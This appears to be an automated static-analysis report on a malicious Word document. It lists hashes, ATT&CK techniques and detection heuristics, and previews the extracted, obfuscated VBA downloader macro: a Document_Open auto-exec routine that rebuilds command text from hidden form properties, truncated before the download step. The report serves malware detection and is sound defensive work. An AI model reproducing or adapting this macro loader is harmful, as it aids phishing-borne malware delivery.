Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 576c8d051968b641…

MALICIOUS

Office (OLE)

190.6 KB Created: 2019-12-16 21:36:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: d40f3ebbee013479b5b88f2876937311 SHA-1: 6da4321115550a961fb9acf59c7191c16e22d44d SHA-256: 576c8d051968b6418e486b9eecff9cb49c25e99c9011b3efcdda3414263fa24e
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate

The sample is a malicious Office document containing obfuscated VBA macros. The 'Document_Open' macro is present and configured to execute automatically, indicating an attempt to run malicious code upon opening. Heuristics suggest the use of 'CreateObject' and 'GetObject' calls, common for downloading and executing payloads. The ClamAV detection 'Doc.Downloader.Sagent-7459479-0' further supports its nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-7459479-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7459479-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7873 bytes
SHA-256: 58085ffc8dda8658cf2976dae71911dfbac4ca186479b529254b09e24e03575f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wlohmbxf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Nsboizdpzuiyq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Errfilzinaklg, Lwhnnpkev
For Lnikmigtx = Pwgpawccpm To Zlwcfitnw
         Zlacncem = Agkgxonbtvuu
         Zqfbldaput = Hex(Atpzkzyp)
         Lwhtglczi = Chr(Qdxxdaprl)
         Ytntmuluwqk = Jurwomvlc - Qsbhyixntu
         Gnzionjpfjs = Jscyqfwvdc
         Ewnsxblmgljp = Hex(Xtiehanxp)
         Ocoarckfqkrv = Int(Hhbcxjnuj)
Next
   Dim Vgcvdnhgr, Skttvegl
For Bekzffuefogg = Emwoaxjxhesoh To Wgkkmtcs
         Inbmotlrwpjis = Mexghqxve
         Wwfdctaqs = Hex(Lskgwlkrn)
         Capelohkrxdgx = Chr(Tmpicsxete)
         Tmlmvtwu = Xhljhskimmr - Xbfmgevvapnn
         Kinavgeph = Lfuksjjiunkp
         Pjsxsywjlza = Hex(Wenhujtvzb)
         Gdedszsgk = Int(Mrpywbtuktxnd)
Next
   Dim Chrzelxnnse, Xrbpfoyczynlv
For Aivdkcjnz = Pimplmuit To Xveylcjdoiiqn
         Bfuodbnyyppkm = Nkdblzzmrge
         Xhszkplonf = Hex(Jwfjwswcxvxml)
         Btdhzfabrwpzx = Chr(Zfddbctc)
         Itpcjgnrsju = Brivnmgsymuvs - Rtiqhsrml
         Qchfghohb = Hgqpvjgugrwf
         Becfkexwfwelt = Hex(Gkhvymcaswi)
         Srtwhhfdmcr = Int(Katkkpahzgpk)
Next
Llyitqjc
End Sub

Attribute VB_Name = "Easpwgcbwkfj"
Attribute VB_Base = "0{44E853AD-C495-4EDA-A1F7-CAABD72FB8C8}{E0F90029-5277-45CC-9E55-529C6D30D26B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Xzzkpmgfgfh"
Function Qxqzlskyh()
   Dim Flnmephmida, Rpvipiing
For Kzsipifxru = Yrvfqelhrr To Zzgbvwbzya
         Wzwaxdfle = Rudsjufvtegip
         Bvsnnxpq = Hex(Hkjoljhwcog)
         Setfiaqq = Chr(Tbksqpzcdubbk)
         Hvymnnxir = Usgqrazmqn - Rhcmdybquxy
         Setlwstsh = Vncbcxftg
         Elaukpjpx = Hex(Kzwgatuhy)
         Uqpvaowreta = Int(Ikcidjrwnqccf)
Next
Jxcafeormlc = Wlohmbxf.Nsboizdpzuiyq
   Dim Tbiwtelusjrac, Hqewtoenpn
For Vrqbvdslyb = Sigbsspnseyyo To Lpntirrqdbhvx
         Lfdfekidvwxou = Smaghvkiehas
         Kwsduttujqncm = Hex(Kcxakjvvrccax)
         Esfdkafkzxzxd = Chr(Ejrltfcssqpa)
         Ssvvlmux = Weryckmrm - Sjlfsbamnuzej
         Ebrwygajp = Ephdxoddzjj
         Kukvnwahrygk = Hex(Arszvqexkfj)
         Bggvukxmdv = Int(Sogmrasxzclhj)
Next
Tmiypvnrxz = Jxcafeormlc + Easpwgcbwkfj.Ypjhiucujt + Easpwgcbwkfj.Jrbmjczvhlzqa + Easpwgcbwkfj.Rvbofqebud
   Dim Mskfqyfosfgfv, Ycpxqfpzqyi
For Tckykolzqlkwk = Aekkcgebp To Qwtugiuhv
         Hugbqirfbguh = Nxbspbubfy
         Webcdqrfw = Hex(Apvjjvzw)
         Itksogoagpim = Chr(Ndydeqtpxt)
         Tskffbak = Rjojceqzvo - Vfxvsybtvq
         Nwqakgmayc = Punoyxymyjw
         Jjbjuoarbw = Hex(Ppoceltthgx)
         Uysfodalra = Int(Qdnmxnxhai)
Next
Nfpcgefp = Tmiypvnrxz + Easpwgcbwkfj.Shbuwtgaarlzq + Easpwgcbwkfj.Qxvpaqknzamz
   Dim Hchtgvtdha, Vcobypcoqzuz
For Jiqyfvgsuudym = Lqetqqjwma To Evhihghmknj
         Nchtxacf = Jpgwizmdx
         Cwmmvsekb = Hex(Iqdocdoai)
         Qysbkzmy = Chr(Bukfvhbhyu)
         Cgpsuxiox = Agouuifycpuhw - Gwnsjnzkv
         Reopupovjz = Hzswyqizsz
         Mbeclavsiir = Hex(Mvftbiizjf)
         Raunmtrsxds = Int(Jieoezismm)
Next
Qxqzlskyh = Ynmrjwhfd + Nfpcgefp + Ynmrjwhfd
   Dim Mfcgcjrab, Ocyborwj
For Smntxaxcbuwy = Wrjkqafjatrzs To Fytvnutpnei
         Zleqvzewhmsrn = Tbyhxovvcc
         Dcwghhhj = Hex(Besusxmbezl)
         Mfbvjdqcnbwbt = Chr(Ljgzyezup)
         Yibxurwgjagmy = Modwtylhputmi - Lmsnfibqgef
         Efxiuasl = Kymaldbfnpwp
         Kzplywrnkjdk = Hex(Rizcttipth)
         Fysyfokdxu = Int(Muawncxbg)
Next
End Function
Function Llyitqjc()
   Dim Inwlkbrbmtnu, Gwbshyhbxa
For Whnllphoprax = Yvvkpndulzoi To Mgqvlrekob
         Nqvowecoz
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.